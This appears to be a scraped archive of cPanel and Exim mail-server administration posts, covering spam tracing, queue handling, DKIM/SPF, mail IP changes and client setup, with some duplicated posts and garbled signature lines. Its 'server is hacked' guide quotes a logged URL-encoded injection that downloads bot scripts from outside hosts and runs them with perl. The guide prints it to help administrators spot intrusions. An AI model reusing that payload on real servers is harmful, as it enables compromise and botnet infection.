Showing posts with label Exim. Show all posts
Showing posts with label Exim. Show all posts
0 comments

Spamming on cPanel Exim Server

Login to your server via SSH as the root user


  • The following command to pull email accounts being connected to from multiple IP addresses from the Exim mail log:


# grep "A=courier_login" /var/log/exim_mainlog | sed -e 's#H=.* \[##' -e 's#\]:[0-9]*##' | awk '{print $5,$6}' | sort | uniq | awk '{print $1}' | uniq -c | awk '{ if ($1 > 1) print $0}'.


  • If you see that you have a lot of users that have mail logins from multiple unique IP addresses you can run the following command to get a look at exactly what IPs they're connecting from:


# grep "A=courier_login" /var/log/exim_mainlog | sed -e 's#H=.* \[##' -e 's#\]:[0-9]*##' | awk '{print $5,$6}' | sort | uniq -c


  • Top 5 users sending maximum emails on the server:


grep "<=.*P=local" /var/log/exim_mainlog | awk '{print $6}' | sort | uniq -c | sort -nr | head -5

eximstats /var/log/exim_mainlog | grep -A7 "Top 50 local senders by message count" | tail -5 | awk '{print $1,$NF}'


  • Top 5 mail receivers maximum emails on the server:


egrep "(=>.*T=virtual_userdelivery|=>.*T=local_delivery)" /var/log/exim_mainlog | awk '{print $7}' | sort | uniq -c | sort -nr | head -5

eximstats /var/log/exim_mainlog | grep -A7 "Top 50 local destinations by message count" | tail -5 | awk '{print $1,$NF}'


  • Script to check and find path for the script used for spamming


awk '{ if ($0 ~ "cwd" && $0 ~ "home") {print $3} }' /var/log/exim_mainlog | sort | uniq -c | sort -nk 1
awk '{ if ($0 ~ "cwd" && $0 ~ "home") {print $4} }' /var/log/exim_mainlog | sort | uniq -c | sort -nk 1


  • If large number of hits from an IP, block the IP address


tail -n1000 /var/log/exim_mainlog |grep SMTP|cut -d[ -f2|cut -d] -f1|sort -n |uniq -c


  • Following command will show the maximum no of email currently in the mail queue from or to the email address in the mail queue with exact figure.


exim -bpr | grep "<*@*>" | awk '{print $4}'|grep -v "<>" | sort | uniq -c | sort -n


  • Following command will show you password compromised email accounts


egrep 'A=courier_login|A=dovecot_login' /var/log/exim_mainlog|sed -e 's#H=.* \[##' -e 's#\]:[0-9]*##'|awk '{print $5,$6}'|sort|uniq|awk '{print $1}'|uniq -c|awk '{ if ($1 > 1) print $0}'



  • Run below command to check the number of dovecot logins


egrep -o 'dovecot_login[^ ]+' /var/log/exim_mainlog | sort|uniq -c|sort -nk 1


  • Script to check path for the script used for spamming


awk '{ if ($0 ~ "cwd" && $0 ~ "home") {print $3} }' /var/log/exim_mainlog | sort | uniq -c | sort -nk 1
awk '{ if ($0 ~ "cwd" && $0 ~ "home") {print $4} }' /var/log/exim_mainlog | sort | uniq -c | sort -nk 1


  • Following command will show you the maximum no of email currently in the mail queue have from or to the email address in the mail queue with exact figure.


exim -bpr | grep "<*@*>" | awk '{print $4}'|grep -v "<>" | sort | uniq -c | sort -n


  • That will show you the maximum no of email currently in the mail queue have for the domain or from the domain with number.


exim -bpr | grep "<*@*>" | awk '{print $4}'|grep -v "<>" |awk -F "@" '{ print $2}' | sort | uniq -c | sort -n


  • Following command will show path to the script being utilized to send mail


ps -C exim -fH eww
ps -C exim -fH eww | grep home
cd /var/spool/exim/input/
egrep "X-PHP-Script" * -R


  • Command to delete frozen mails


exim -bp | awk '$6~"frozen" {print $3 }' | xargs exim -Mrm


  • If anyone is spamming from /tmp


tail -f /var/log/exim_mainlog | grep /tmp


  • To display the IP and no of tries done the IP to send mail but rejected by the server.


tail -3000 /var/log/exim_mainlog |grep 'rejected RCPT' |awk '{print$4}'|awk -F\[ '{print $2} '|awk -F\] '{print $1} '|sort | uniq -c | sort -k 1 -nr | head -n 5


  • Shows the  connections from a certain ip to the   SMTP server


netstat -plan|grep :25|awk {‘print $5′}|cut -d: -f 1|sort|uniq -c|sort -nk 1


  • To shows the domain name and the no of emails in queue


exim -bp | exiqsumm | more


  • If  spamming from outside domain then you can block that domain or email id on the server


pico /etc/antivirus.exim

  • Add the following lines:

if $header_from: contains “name@domain.com” then seen finish endif

Catching spammer

  • Check mail stats

exim -bp | exiqsumm | more


  • Check if any php script is causing the mass mailing with

cd /var/spool/exim/inputegrep “X-PHP-Script” * -R

Just cat the ID that you get and you will be able to check which script is here causing problem for you.

  • To Remove particular email account email

exim -bpr |grep “test.org”|awk {‘print $3′}|xargs exim -Mrm

Exim Error: Ratelimit database not available

0 comments

2009-07-20 21:58:07 Failed to get write lock for /var/spool/exim/db/ratelimit.lockfile: timed out
2008-07-20 21:58:07 H=[xx.xx.xx.xx] temporarily rejected connection in “connect” ACL: ratelimit database not available
To fix such an error , the exim cache database on the server side needs to be clear off to stop this message.
Run the folllowing command on root :
root@lolwut [~]# rm -fv /var/spool/exim/db/*
Output :
removed `/var/spool/exim/db/ratelimit’
removed `/var/spool/exim/db/ratelimit.lockfile’
removed `/var/spool/exim/db/retry’
removed `/var/spool/exim/db/retry.lockfile’
removed `/var/spool/exim/db/wait-dk_remote_smtp’
removed `/var/spool/exim/db/wait-dk_remote_smtp.lockfile’
removed `/var/spool/exim/db/wait-remote_smtp’
removed `/var/spool/exim/db/wait-remote_smtp.lockfile’
Then run the following command on root:
root@lolwut [~]# service exim restart

If this doesn’t work , then run /scripts/upcp –force on the server and then check exim_mainlog for the changes.

SSL Email Settings - Outlook

0 comments
General Settings

You can use the following settings if you require Secure POP3, Secure IMAP4 or Secure SMTP over SSL.
POP3 over SSL Server: yourdomainname.com / mail.yourdomainname.com

POP3 over SSL Port: 995
IMAP4 over SSL Server: yourdomainname.com / mail.yourdomainname.com

IMAP4 over SSL Port: 993
SMTP over SSL Server: yourdomainname.com / mail.yourdomainname.com

SMTP over SSL Port: 465

You can authenticate on these servers using your full email address as the username and corresponding password.

SSL Settings Guides

Outlook 2010


You can follow these steps to change your Outlook 2010 email settings if you want to use our Secure servers for sending and receiving email.

  1. Open Outlook 2010

  2. From the File click on Account Settings and select Account SettingsYou'll then see all of your email accounts listed.

  3. Select the account you wish to modify and click Change

  4. Change the Incoming Mail Server (POP3) to yourdomainname.com / mail.yourdomainname.com and change the Outgoing Mail Server (SMTP) to yourdomainname.com / mail.yourdomainname.com

  5. Click on More Settings...

  6. Select the Advanced tab

  7. There are two check boxes labeled This server requires and encrypted connection (SSL). Check mark both check boxes.

  8. Change the Incoming Server (POP3) to 995. Change the Outgoing Server (SMTP) to 465.

  9. Click OK

  10. Click Next > and then Finish


 

 

Never users error list for email

0 comments
When having trouble with email I got the following error in the exim_paniclog on a cpanel server:

User 0 set for local_delivery transport is on the never_users list

The issue appears to be with some of the libraries the following commands should fix it:

ln -s libdb2.so.3 libdb.so.3
/scripts/eximup --force
/etc/rc.d/init.d/exim restart

Determine if a server is hacked

0 comments
This guide is not meant to be all inclusive for figuring out if a server is hacked however it should give you a pretty good idea if a server is hacked the method used. This guide is going to focus on getting hacked via a php injection attack which is the most common today. There are certainly others but chances are if the server has been compromised by a script kiddie you will be able to find it via this guide. As long as the server has not been rooted it is generally possible to clean up and find all of the tools and scripts that were put on the server. Once a server has been rooted it is impossible to determine without a doubt that you have cleared everything out and what can or cannot be trusted. Once a server has been rooted for sure the server should be reformated/reimaged before it is put back into production. If you are ever unsure of where to go next or woud like to hire somebody to take care of this please take a look TotalServerSolutionswhich is a company that I run and work for is very familiar with handling these types of problems and preventing them from happening. . Of course if you have had the server hacked once you need to make sure and secure it so that it does not get hacked as soon as it is put online again.

The first step is to look at rkhunter and see if it reports anything that is bad. If rkhunter reports that the server has been rooted it is probably going to best to reimage the server once the method of intrusion has been determined.

Download and unzip rkhunter
—–command—–
cd /usr/local/src/
wget http://downloads.rootkit.nl/rkhunter-1.2.1.tar.gz
tar -zxf rkhunter-1.2.1.tar.gz
cd rkhunter
—–command—–

Install and run it
—–command—–
./installer.sh
rkhunter -c
—–command—–

If you are unsure of the output either look on google or you can post it here and I can try to help.

If that does not turn up anything and you are still having issues with the server sending out a DOS attack, hosting a botnet, or some other “bad” activity the next thing to check into how apache may have been used to exploit the server. This part is going to be hard for many that are not experienced with server administration because you have to be aware of what is normal and what is not. The directories that I am going to reference will have legitimate files but may also contain the scripts used to hacked or send out an attack.

Go ahead and look in /tmp first and delete the uneeded files that are normal

cd /tmp
rm -rf sess*
rm -rf ssh-*
rm -rf dos-*
ls -alh

On a normal basis the files are fine, the files are only being deleted now to aid in determining what is a legitmate file. The files that are going to be of interest are anything that are bold or green because that means that they can be executed. Typically the hacked files are going to have names that use numbers in the names, end in .pl (perl files), or simply look different from everything else in /tmp. It is impossible to make a list of everything, this is going to be where experience counts as to determining if something is in fact a “bad” file. If youare unsure of the file head over to google and search the name. If it is infact some sort of a rootkit or script you will probably find references to it and what it does.

Another thing to look at is who the file is owned by. If a file is owned by the user and group nobody it was probably created by apache. These files are going to be of particular interest during an investigation.

Make sure to look at the very top for a directory named …, .tmp, or anything with a period at the begining as that means it is a hidden file, something that normally would not be in tmp. If you find nothing in /tmp also check /var/tmp and /dev/shm. These directories are where most scripts are stored but it does not mean it is the only place they may be! It might require some more investigation as to what is happening if you are unable to determine what happened from the above.

Once you find the file you can start the investigation as to what went wrong. The best bet is going to be to look in /usr/local/apache/logs and /usr/local/apache/domlogs and to use the egrep command to search the files. For instance if you have the scriptr r0nin in /tmp you will want to go ahead and check how exactly it got in.

egrep r0nin *
Chances are you are going to see something like this:

Request: XXXXXXXXX – - [30/Apr/2005:10:41:20 -0400
] “GET /index.php?t=5704&rush=%65%63%68%6F%20
%5F%53%54%41%52%54%5F%3B%20cd%%2020/tmp;
mkdir%20.temp22;cd%20.temp22;wget%20http://www.xxx-
aane.com/pics/bot.htm;wget%20http://xxx.com/.notes/ssh2.h
tm;perl%20ssh2.htm;rm%20ssh.htm;perl%20bot.h%20tm;
rm%20bot.htm%3B%20%65%63%68%6F%20%5F%45%
4E%44%5%20F&highlight=%2527.%70%61%73%73
%74%68%72%75%28%24%48%%2054%54%50%5
F%47%45%54%5F%56%41%52%53%5B%72%75%73%
68%20%5D%29.%2527?; HTTP/1.1? 403 219
(I have XXX’ed out some information)

If you do in fact find something like the above, there are many variations so it will not look exactly like that, then you were probably hacked via a mysql injection. To further prove that this is the case you can look at the timestamp on the file and the timestamp in the logs.

One nice tool to use to look into what else might be hacked is the command lsof. This command will let you see all files are are currently being accessed by a given user. First stop apache then run lsof to see what files it is using, the reason it must first be stopped is that if you do not there will be a huge list of libs and other files listed.

service httpd stop
lsof -u nobody

Looking at the lsoof output you may be able to find some other directories that are being used. Again here is something where looking at the naming will help, if some directory looks out of place take a look at it and you may be able to find something.

If that fails you can also use the ps command to try and find the offending process and track it down. Use

ps -aux

To look at everything that is running. Most times it is going to be hard pretty hard to just look at everything if you are not very familiar with what is going on and spot the offending process. I would go ahead and start out looking for only perl scripts since they are popular right now:

ps -aux |grep perl

If you do find something go ahead and search the drive for the file then open it with pico, you should be able to look at the commenting in the code to find out what sort of things it is capable of. Luckily most of the script kiddies have a section at the top that describes the file and what it does.

find / |grep somesript.pl

then edit it via:
pico -w /location/of/script.pl

Hopefully this guide will help you out in determining if a server has been hacked and a very basic way to analzye it. Generally doing what I posted above should help you find at least one of the offending processes if a server was in fact hacked. I am going to try to slowly add more information to this guide so if you have any suggestions please feel free to post them below. I am always very open to new ideas on how to do things or different ways of looking at something. If after you have followed this guide and you are unsure of what to do next consider hiring the company that I run, TotalServerSolutions, we are very familiar with locating and helping clean up after an attack. We can also secure your server to stop the server from even being hacked in the first place.

Online Backup, Replication and Encryption

1 comments

E mail issues

0 comments
cd /home/username/mail/domain name -Here all mail accounts will be present.

cd 'mail account'

mail -v mailid . -To send mail through the shell

^To move frozen messages

exim -bprc | grep frozen | awk {'print $3'} | xargs exim -Mrm

^To get count of the mail

exim -bpc
pgrep exim | wc -l

^To get error logs
tail -f /usr/local/apache/logs/error_logs

^Print what Exim is doing right now:

root@localhost# exiwhat

^Test how exim will route a given address:

root@localhost# exim -bt alias@localdomain.com
user@thishost.com
<-- alias@localdomain.com   router = localuser, transport = local_delivery

root@localhost# exim -bt user@thishost.com

user@thishost.com

router = localuser, transport = local_delivery root@localhost# exim -bt user@remotehost.com   router = lookuphost, transport = remote_smtp   host mail.remotehost.com [1.2.3.4] MX=0

root@localhost# exim -bt user@remotehost.com
router = lookuphost, transport = remote_smtp
host mail.remotehost.com [1.2.3.4] MX=0

^Freeze a message:

root@localhost# exim -Mf [ ... ]

^Thaw a message:

root@localhost# exim -Mt [ ... ]

^Deliver a message:

root@localhost# exim -M [ ... ]

^Force a message to fail and bounce as "cancelled by administrator":

root@localhost# exim -Mg [ ... ]

^Remove all frozen messages:

root@localhost# exiqgrep -z -i | xargs exim -Mrm

^Remove all messages older than five days (86400 * 5 = 432000 seconds):

root@localhost# exiqgrep -o 432000 -i | xargs exim -Mrm

^Freeze all queued mail from a given sender:

root@localhost# exiqgrep -i -f luser@example.tld | xargs exim -Mf

^View a message's headers:

root@localhost# exim -Mvh

^View a message's body:

root@localhost# exim -Mvb

^View a message's logs:

root@localhost# exim -Mvl

^Add a recipient to a message:

root@localhost# exim -Mar

[
... ]

Edit the sender of a message:

root@localhost# exim -Mes

Installing DomainKeys and SPF Records

1 comments
DomainKeys (DKIM) and SPF records are becoming a common, and annoying, demand among email providers, mainly Yahoo and Hotmail. In short, both are methods of email authentication designed to verify email integrity, by linking a sender to a specific server or hostname. In other words, DomainKeys and SPF records specify what servers can send email on behalf of a domain name.

You’ll want DomainKeys and SPF records if your users have trouble sending email to certain providers, or they are having issues with spoofed (forged) email. CPanel currently allows two easy ways for you or your users to set up email verification. This is supported at least from cPanel 11.18 onward.

User-Level:

You can enable the “Email Authentication” feature in WHM ~> Feature Manager, which will enable the Email Authentication icon in the users’ cPanels where they can create DomainKeys and SPF records for their domain(s).

Root-level:

There are scripts in /usr/local/cpanel/bin that can install these on a per-user basis:
/usr/local/cpanel/bin/domain_keys_installer $user

/usr/local/cpanel/bin/spf_installer $user

(and corresponding scripts to remove, like spf_uninstaller and domain_keys_uninstaller)

If you want to hit up everyone on the server, you can run my for loop one-liner:

for user in `ls -A /var/cpanel/users` ; do /usr/local/cpanel/bin/domain_keys_installer $user && /usr/local/cpanel/bin/spf_installer $user ; done

Now what about new users? cPanel already though of that, and has options to create hooks for when after an account is created. To set up the server to automatically create an SPF record and DomainKey for new accounts, edit /scripts/postwwwacct and paste in the following code:

#!/usr/bin/perl

my %OPTS = @ARGV;
$ENV{USER} = “$OPTS{‘user’}”;
system q(/usr/local/cpanel/bin/domain_keys_installer $USER);
system q(/usr/local/cpanel/bin/spf_installer $USER);


To verify an SPF record and/or DomainKey, you can run a DNS check:
dig default._domainkey.$domain TXT

dig $domain TXT

A technical note about DKIM:

You might know that DKIM is actually a generated key pair, similar to an SSH or SSL Certificate’s RSA key. CPanel stores these files in /var/cpanel/domain_keys, where thepublic folder contains the key reflected in the DNS zone, and the private folder contains the private key. You may have users that actually authenticate via DKIM in their mail clients, in which case you may need to provide them with the private key in order for them to sent email.

Changing Email Server IP address on a cPanel Server

0 comments

Quite few times your server's main/shared IP address may get black listed by most of RBLs due to x reasons.

In such situations, it would be very difficult to receive/send some important emails due to this black list.

In such situation a quick solution is to route the emails through a secondary IP address on the same server which is not

black listed under those RBLs.

The mail server on cpanel i.e exim allows you to change the default IP address used by the mail server so that you would be

able to route all emails through this new secondary IP address.

Here are the step by step instructions for you to configure your exim mail server to use new IP address.

Step 1 : Shutdown the exim service.

# service exim stop or /etc/init.d/exim stop

Step 2 : Edit your exim configuration file.

# vi /etc/exim.conf

Step 3: go to "remote_smtp" section under "TRANSPORTS CONFIGURATION".

By default it would look like below:

Quote:

remote_smtp:

driver = smtp

interface = ${if exists {/etc/mailips}{${lookup{$sender_address_domain}lsearch{/etc/mailips}{$value}{}}}{}}

helo_data = ${if exists

{/etc/mailhelo}{${lookup{$sender_address_domain}lsearch{/etc/mailhelo}{$value}{$primary_hostname}}}{$primary_ho stname}}

Step 4 : Remove or comment line containing "interface" and "helo_data" and add new "interface" to match with that of your new

IP address. It should look like as follows:

Quote:

remote_smtp:

driver = smtp

interface = 12.12.12.12 # Your IP address.

Step 5 : Save your changes and exit out from your exim configuration file.

Note : Dont forget to set read only attributes on exim configuration file, so that it wont get reset to default

automatically.

You can do it using following command:

# chattr +aui /etc/exim.conf

Step 6 : start exim service on your server.

# service exim restart or /etc/init.d/exim restart

Step 7 : Make sure to set reverse DNS for this new IP address to point a valid FQDN.

Step 8 : Try sending a test email and you will find that, it was sent using this new IP address configured under your exim

configuration.

You can verify it by checking the header of new email under exim's log file i.e /var/log/exim_mainlog

Quite few times your server's main/shared IP address may get black listed by most of RBLs due to x reasons.

In such situations, it would be very difficult to receive/send some important emails due to this black list.

In such situation a quick solution is to route the emails through a secondary IP address on the same server which is not



black listed under those RBLs.



The mail server on cpanel i.e exim allows you to change the default IP address used by the mail server so that you would be



able to route all emails through this new secondary IP address.



Here are the step by step instructions for you to configure your exim mail server to use new IP address.



Step 1 : Shutdown the exim service.



# service exim stop or /etc/init.d/exim stop



Step 2 : Edit your exim configuration file.



# vi /etc/exim.conf



Step 3: go to "remote_smtp" section under "TRANSPORTS CONFIGURATION".

By default it would look like below:



Quote:



remote_smtp:

driver = smtp

interface = ${if exists {/etc/mailips}{${lookup{$sender_address_domain}lsearch{/etc/mailips}{$value}{}}}{}}

helo_data = ${if exists



{/etc/mailhelo}{${lookup{$sender_address_domain}lsearch{/etc/mailhelo}{$value}{$primary_hostname}}}{$primary_ho stname}}

Step 4 : Remove or comment line containing "interface" and "helo_data" and add new "interface" to match with that of your new

IP address. It should look like as follows:

Quote:



remote_smtp:

driver = smtp

interface = 12.12.12.12 # Your IP address.



Step 5 : Save your changes and exit out from your exim configuration file.



Note : Dont forget to set read only attributes on exim configuration file, so that it wont get reset to default



automatically.



You can do it using following command:



# chattr +aui /etc/exim.conf



Step 6 : start exim service on your server.



# service exim restart or /etc/init.d/exim restart



Step 7 : Make sure to set reverse DNS for this new IP address to point a valid FQDN.



Step 8 : Try sending a test email and you will find that, it was sent using this new IP address configured under your exim



configuration.



You can verify it by checking the header of new email under exim's log file i.e /var/log/exim_mainlog



Make sure you replace the "IPAddress" in the following command with an additional IP of your server.



Quote:

iptables -t nat -A POSTROUTING -o eth0 -p tcp -j SNAT --dport 25 --to-source IPAddress

The above rule will change the source IP of all the outgoing packets meant for port 25 to the new IP address. Save the new rule else a restart of iptables will remove it:



Quote:

/etc/init.d/iptables save

As mentioned in the 7th step by Nick J, you need to set reverse DNS (rDNS) for this new IP address to point a valid FQDN but make sure the FQDN should point back to the same IP.




Exim exiqgrep utility

0 comments
For getting the message id of mails in the queue in which the receiving domain is yahoo.com

# exiqgrep -i -r yahoo.com

in which display option is i and selection criteria is r

For getting the message id of frozen messages

# exiqgrep -i -z

Try and test with other options you can handle the exim mail queue easily with this utility

For getting the message id of mails in the queue in which the receiving domain is yahoo.com

# exiqgrep -i -r yahoo.com

in which display option is i and selection criteria is r

For getting the message id of frozen messages

# exiqgrep -i -z

Try and test with other options you can handle the exim mail queue easily with this utility

¤=???•??_?????^?????_?????~l???_????? - ?????????•=¤

??•G?_G????^??I??_G????~??V?_G???? - P??????•??

Exim exiqgrep utility

0 comments
For getting the message id of mails in the queue in which the receiving domain is yahoo.com

# exiqgrep -i -r yahoo.com

in which display option is i and selection criteria is r

For getting the message id of frozen messages

# exiqgrep -i -z

Try and test with other options you can handle the exim mail queue easily with this utility

For getting the message id of mails in the queue in which the receiving domain is yahoo.com

# exiqgrep -i -r yahoo.com

in which display option is i and selection criteria is r

For getting the message id of frozen messages

# exiqgrep -i -z

Try and test with other options you can handle the exim mail queue easily with this utility

¤=???•??_?????^?????_?????~l???_????? - ?????????•=¤

??•G?_G????^??I??_G????~??V?_G???? - P??????•??

How to update the exim.conf

0 comments
To make use of the newest exim settings and enhancements, you can update the exim.conf by running the following as root::

wget -O /etc/exim.conf http://files.directadmin.com/services/exim.conf
wget -O /etc/exim.pl http://files.directadmin.com/services/exim.pl
chmod 755 /etc/exim.pl
cd /etc/virtual
touch blacklist_domains whitelist_from use_rbl_domains bad_sender_hosts blacklist_senders whitelist_domains whitelist_hosts whitelist_senders
echo 0 > limit
mkdir usage
chown mail:mail blacklist_domains whitelist_from use_rbl_domains bad_sender_hosts blacklist_senders whitelist_domains whitelist_hosts whitelist_senders limit usage


If you are running dovecot, you will need to re-patch your exim.conf:

patch -p0 < /usr/local/directadmin/customapache/exim.conf.dovecot.patch
patch -p0 < /usr/local/directadmin/custombuild/exim.conf.dovecot.patch

one thing you need to note that you only need to run the patch appropriate to the build system you have. If you have custombuild, run the 2nd one. If you don't know what you have, then run them both, as it won't hurt anything if you patch twice.

Restart the Exim now :

/etc/init.d/exim restart

How to update the exim.conf

0 comments
To make use of the newest exim settings and enhancements, you can update the exim.conf by running the following as root::

wget -O /etc/exim.conf http://files.directadmin.com/services/exim.conf
wget -O /etc/exim.pl http://files.directadmin.com/services/exim.pl
chmod 755 /etc/exim.pl
cd /etc/virtual
touch blacklist_domains whitelist_from use_rbl_domains bad_sender_hosts blacklist_senders whitelist_domains whitelist_hosts whitelist_senders
echo 0 > limit
mkdir usage
chown mail:mail blacklist_domains whitelist_from use_rbl_domains bad_sender_hosts blacklist_senders whitelist_domains whitelist_hosts whitelist_senders limit usage


If you are running dovecot, you will need to re-patch your exim.conf:

patch -p0 < /usr/local/directadmin/customapache/exim.conf.dovecot.patch
patch -p0 < /usr/local/directadmin/custombuild/exim.conf.dovecot.patch

one thing you need to note that you only need to run the patch appropriate to the build system you have. If you have custombuild, run the 2nd one. If you don't know what you have, then run them both, as it won't hurt anything if you patch twice.

Restart the Exim now :

/etc/init.d/exim restart

How to change the mail server IP

0 comments
Sometimes your server’s IP address may get black listed by most of RBLs. In such situation a quick solution is to route the emails through a secondary IP address on the same server which is not black listed. There are two options to switch the interface  IP .

Login to WHM


Click Exim Configuration Editor


Check the box next to: “Send outgoing mail from the ip that matches the domain name in /etc/mailips (*: IP can be added to the file to change the main outgoing interface)”


Save Changes


Then edit the file /etc/mailips


# vi /etc/mailips


and add:


*: newIP


# service  exim restart


** Login through  SSH


#  vi /etc/exim.conf


Locate remote_smtp


Change as per below:


remote_smtp:


driver = smtp



#interface = ${if exists {/etc/mailips}{${lookup{$sender_address_domain}lsearch{/etc/mailips}{$value}{}}}{}}
#helo_data = ${if exists {/etc/mailhelo}{${lookup{$sender_address_domain}lsearch{/etc/mailhelo}{$value}{$primary_hostname}}}{$primary_ho stname}}

interface = 111.222.333.444 # Change to your server IP address.


Save changes and exit.


#  service exim restart

How to stop the open relay for exim

0 comments

#  telnet yourdomainname,com/xxx.xxx.xxx.xx  25


helo client.server.com


mail from: xxx@somedomain.com


rcpt to: yyy@somedomain.com


If you are getting the error “554 : Relay access denied” then the server is not an openRelay


If not Just pass the command “DATA” sfter the recipient and then enter the message ending with a period ie : “.”


If you get the reply “SUCCESS Relay Accepted – final response code 550?


Then as you feared your server is subjected to open relay and if not enjoy………. It is not


I hope your server is not open relay supporting, but if it is so, as it is a Cpanel Server you can stop it normally using the below scripts


#  /scripts/fixrelayd


#  /etc/rc.d/init.d/antirelayd restart


# service exim restart

Error: R=virtual_user_spam T=virtual_userdelivery_spam

0 comments
If you are not able to receive emails and getting the errors " R=virtual_user_spam T=virtual_userdelivery_spam" in error logs then simply disable the spamassasin and check, your issue should be fixed.

Go_GrEen^ThiNk_GReeN~LoVE_GreEn - Pushkar

Go_GrEen^ThiNk_GReeN~LoVE_GreEn - Pushkar

R=central_filter T=**bypassed**

0 comments
Recently I got very interesting issue and it took very long time to figure our. The problem was I was able to send/receive email to other accounts but not able to send/receive to my own account means test@test.com to test@test.com. Here is what I was getting in error logs (Cpanel server).

gin:test@test.com S=789 id=63311.122.252.239.20.1239477600.squirrel@test.com
2009-04-11 14:20:00 1LsikC-00037z-NP => /dev/null
R=central_filter T=**bypassed**


Then here is what I found in cpanel forums:

central_filter refers to the email filters you've set up in cPanel - stored in /etc/vfilters/. Looks like you've got a filter set up to drop certain emails.

Then I renamed my domain name files in /etc/vfilters/ and I got this fixed, hope this will help you.


Go_GrEen^ThiNk_GReeN~LoVE_GreEn - Pushkar

Go_GrEen^ThiNk_GReeN~LoVE_GreEn - Pushkar

How to set limit to remove the Frozen Mails Automatically

0 comments
You need to just add a code into the exim.conf

# vi /etc/exim.conf

timeout_frozen_after = 8d ( 8 Days )

# /scripts/restartsrv_exim
Go_GrEen^ThiNk_GReeN~LoVE_GreEn - Pushkar

How to update/install latest RoundCube on cPanel

0 comments

Update/install latest RoundCube on cPanel


First you will have to uninstall/remove exiting RoundCube files/folder/database on your server,




  • Uninstall/remove exiting RoundCube


cd /usr/local/cpanel/base
rm -rf roundcube*
mysql -e 'drop database roundcube';
/scripts/upcp

Now follow the following steps to  update/install latest roundcube  version ,we need to get Roundcube before we can use it. The easiest way to get it is to visit http://www.roundcube.net and click on “Downloads” or just go to http://roundcube.net/downloads. Wait for it to download and then unzip (using WinZip or ZipGenius or tar -xzf roundcubemail-0.1.tar.gz) in the current directory.




  • update/install latest roundcube


cd /usr/local/cpanel/base
wget -O roundcube.tar.gz http://nchc.dl.sourceforge.net/sourceforge/
roundcubemail/roundcubemail-0.2.1.tar.gz
rm -rf roundcube.tar.gz
mv -f roundcubemail-0.2.1/ roundcube
cd roundcube
chmod -R 777 temp
chmod -R 777 logs


  • Database Configuration


Create the database, database user and install the intial sql file. The following commands will do this for you.



mysql -e "CREATE DATABASE roundcube;"
mysql -e "GRANT ALL PRIVILEGES ON roundcube.* TO roundcube@localhost IDENTIFIED BY 'DATABASEPASSWORD';"
mysql -e "FLUSH PRIVILEGES;"
mysql -e "use roundcube; source SQL/mysql.initial.sql;"

You will have to replace the roundcube password with ‘DATABASEPASSWORD’ field.




  • Configuring RoundCube


cd config
mv db.inc.php.dist db.inc.php
mv main.inc.php.dist main.inc.php

then open database configruation file  db.inc.php in your favroite editor like vi or pico or nano
vi db.inc.php
Find following line



$rcmail_config['db_dsnw'] = 'mysql://roundcube:pass@localhost/roundcubemail';

Replace it with



$rcmail_config['db_dsnw'] = 'mysql://roundcube:DATABASEPASSWORD@localhost/roundcube';

Now Open main.inc.php


vi main.inc.php


Find



$rcmail_config['default_host'] = '';

Replace with



$rcmail_config['default_host'] = 'localhost';

How to configure Outlook Express.

0 comments

Steps To configure Outlook Express.


Open outlook express
Click on Tools >> Accounts
Click on the Mail Tab >> Add >> Mail
Enter The Display Name >> Next
Enter the Email Address >> user@yourdomainname.com >> Next
Select Pop3 In the Drop Down List
Enter the Incoming Mail Server POP3 >> mail.yourdomainname.com
Enter the Outgoing Mail Server SMTP >> mail.yourdomainname.com
Enter the Account Name >> user@yourdomainname.com
Enter the Password >> letmein >> Next
Finish
Click on the Account which you have configured
Click on the Properties Tab >> Click on Servers Tab
Select My server Requires Authentication
Go to Advanced Tab >>
Check SMTP Port is 25 & POP3 Port is 110
Select Leave a copy of messages on server
You are done
Click on Send and Recieve.